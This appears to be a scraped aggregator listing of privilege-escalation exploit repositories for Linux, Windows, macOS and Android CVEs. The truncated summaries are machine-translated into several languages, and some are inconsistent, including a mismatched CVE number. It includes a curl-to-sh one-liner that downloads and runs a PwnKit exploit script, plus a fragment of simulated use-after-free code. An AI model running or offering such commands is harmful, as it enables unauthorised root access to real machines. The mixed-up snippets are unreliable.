cve-2026-62737-lab

CVE-2026-62737: dal crash a SYSTEM assistito dal laboratorio Un seguito al writeup originale di CVE-2026-62737 ExecutionContext.sys chiamata indiretta arbitraria del kernel. Trasforma la PoC del crash in una catena di token-swap funzionante che avvia cmd.exe come SYSTEM, ma solo in un laboratorio...

CVE-2023-2640-3262-PoC

CVE-2023-2640/3262-PoC Minimale PoCs für lokale Privilegienerweiterung-Schwachstellen in Ubuntu OverlayFS. CVEs CVE-2023-2640 – OverlayFS-Berechtigungsproblem CVE-2023-3262 – OverlayFS-Capability-Eskalationsproblem Dateien CVE-2023-2640.sh – einfacher OverlayFS-Verhaltenstest CVE-2023-3262.sh –...

CVE-2025-8045

CVE-2025-8045 — UAF della coda KCPU della GPU Arm Mali Un exploit di escalation dei privilegi locale per CVE-2025-8045 , una use-after-free nel driver del kernel della GPU Arm Mali kbase. Un processo locale non privilegiato mette in gara il percorso di dump della coda KCPU del CSF per liberare e...

CVE-2021-3156-Project

CVE-2021-3156 — Baron Samedit Estouro de buffer baseado em heap no sudo → Escalonamento local de privilégios Departamento de Cibersegurança ITSOLERA | Estágio Red Team 2026 root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ███████╗ █████╗ ███╗ ███╗███████╗██████╗ ██╗████████╗...

CVE-2024-1086

CVE-2024-1086 Universeller lokaler Privilegieneskalations-Proof-of-Concept-Exploit für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6 funktioniert, einschließlich Debian, Ubuntu und KernelCTF. Die Erfolgsrate beträgt 99.4% in KernelCTF-Images...

POC-Bash-CVE-2021-3560

Bash-CVE-2021-3560 POC Bash -- CVE-2021-3560 Polkit स्थानीय विशेषाधिकार वृद्धि एक्सप्लॉइट यह रिपॉजिटरी CVE-2021-3560 के लिए एक bash एक्सप्लॉइट प्रदान करती है, जो polkit में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो कई आधुनिक Linux वितरणों को प्रभावित करती है। !!!!!! परीक्षण के दौरान अस्थिरता...

ForgottenButNotGone

Dimenticati ma non scomparsi Questo repository contiene script proof-of-concept per le vulnerabilità presentate al talk "Dimenticati ma non scomparsi: RCE non autenticati e LPE in servizi Linux legacy" del Black Hat USA 2026 e del DEF CON 34. CVE-2026-28372 Escalation locale dei privilegi in...

CVE-2026-0092

CVE-2026-0092 In Package Manager, esiste un possibile bypass del controller di blocco del dispositivo dovuto a un controllo dei permessi mancante. Ciò potrebbe portare a un'escalation locale dei privilegi senza la necessità di privilegi di esecuzione aggiuntivi. L'interazione dell'utente non è...

CVE-2025-50168-pwn2own-berlin-2025

Autor: D4m0n CVE-2025-50168 Este é um exploit submetido ao Pwn2Own Berlin 2025 - Categoria LPE. A vulnerabilidade ocorre em Win32kbase!DirectComposition, e mais detalhes podem ser encontrados no artigo do blog. Agradecimentos Técnica de bypass de kASLR: prefetch-tool por carrotc4k3 Agradecimentos...

copyfail-guard

copyfail-guard Ferramenta di rilevamento e mitigazione automatizzati per la vulnerabilità CVE-2026-31431 "Copy Fail", un'escalation di privilegi locale LPE nel modulo algifaead interfaccia AFALG del kernel Linux. ⚠️ Ambito: questo progetto è puramente difensivo. Non contiene, non genera e non fa...

PwnKit_CVE-2021-4034

PwnKit Eigenständiger Exploit für CVE-2021-4034 - Pkexec Lokale Privilegieneskalation Verwendung Sollte auf anfälligen Linux-Distributionen basierend auf Ubuntu, Debian, Fedora und CentOS sofort funktionieren. root@kitploit: sh -c "$curl -fsSL...

CVE-2026-22009-Linux-eBPF-Map-Locking-Race-Use-After-Free

CVE-2026-22009 – Linux eBPF Map Locking Race → Use‑After‑Free Programmcode C-Simulation root@kitploit: // ebpfmapuaf.c - Simulated concurrent map update/free include include include include void mapdata = NULL; int mapfreed = 0; void updatemapvoid arg // Simulate eBPF program updating map if...

tpwn

tpwn cve-2015-???? poc os x 10.10.5 escalation dei privilegi locali del kernel la vulnerabilità è stata bruciata in 10.11 writeup completo etason shout out a @ unthreadedjb per gli hax Installa NULLGuard per proteggerti da tpwn e altri bug di NULL Pointer Deference...

Windows_LPE_AFD_CVE-2023-21768

CVE-2023-21768 POC di Elevazione dei Privilegi Locale autori: chompie & b33f Solo a scopo dimostrativo. L'exploit completo funziona sui sistemi Windows 11 22H2 vulnerabili. La primitiva di scrittura funziona su tutti i sistemi vulnerabili. Uso: root@kitploit: WindowsAFDLPECVE-2023-21768.exe dove ...

poc-cve-2021-4034

poc-cve-2021-4034 PoC per CVE-2021-4034 soprannominato pwnkit Come usarlo basta eseguire make e poi controllare la cartella release oppure, se preferisci, il comando in una riga sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Divertiti...

CVE-2021-4034

Informazioni root@kitploit: Exploit Title: Local Privilege Escalation in polkit's pkexec CVE-2021-4034 Date: 01/25/2022 Exploit Author: Qualys Research Team Tested on: ubuntu 20.04.1 LTS CVE ID: CVE-2021-27928 Come sfruttare Ambiente di test： Step 1：compilare l'exploit da...

cve-2021-4034

CVE-2021-4034 - PwnKit Escalação de Privilégio Local no Polkit Visão Geral Este repositório contém uma Prova de Conceito para CVE-2021-4034 , também conhecida como PwnKit. Foi desenvolvida apenas para fins de treinamento pessoal e educacional. Use apenas em ambientes que você possui ou está...

CVE-2026-36355

CVE-2026-36355: Realtek rtl819x Jungle SDK - Lettura/Scrittura non autenticate della memoria del kernel tramite ioctl di debug CVE : CVE-2026-36355 CWE : CWE-782, CWE-787, CWE-200 Scopritore : Daniil Gordeev Divulgato : 2026-05-03 Sommario Il driver Wi-Fi del kernel rtl8192cd nel "Jungle SDK"...

cve_2026_31431

Toolkit CVE-2026-31431 "Copy Fail" Detector e proof-of-concept di LPE per il bug di scratch-write nella page cache di Linux algifaead / authencesn divulgato il 29 aprile 2026. Analisi della divulgazione: https://xint.io/blog/copy-fail-linux-distributions Autorizzazione Utilizzare solo su host di...

CVE-2026-64600

🚨 CVE-2026-64600 — RefluxFS Escalation locale dei privilegi del kernel Linux LPE 📖 Panoramica CVE-2026-64600 "RefluxFS" è una vulnerabilità del kernel Linux che interessa l'implementazione del filesystem RefluxFS. Il difetto deriva da una validazione impropria dei metadati del filesystem, che può...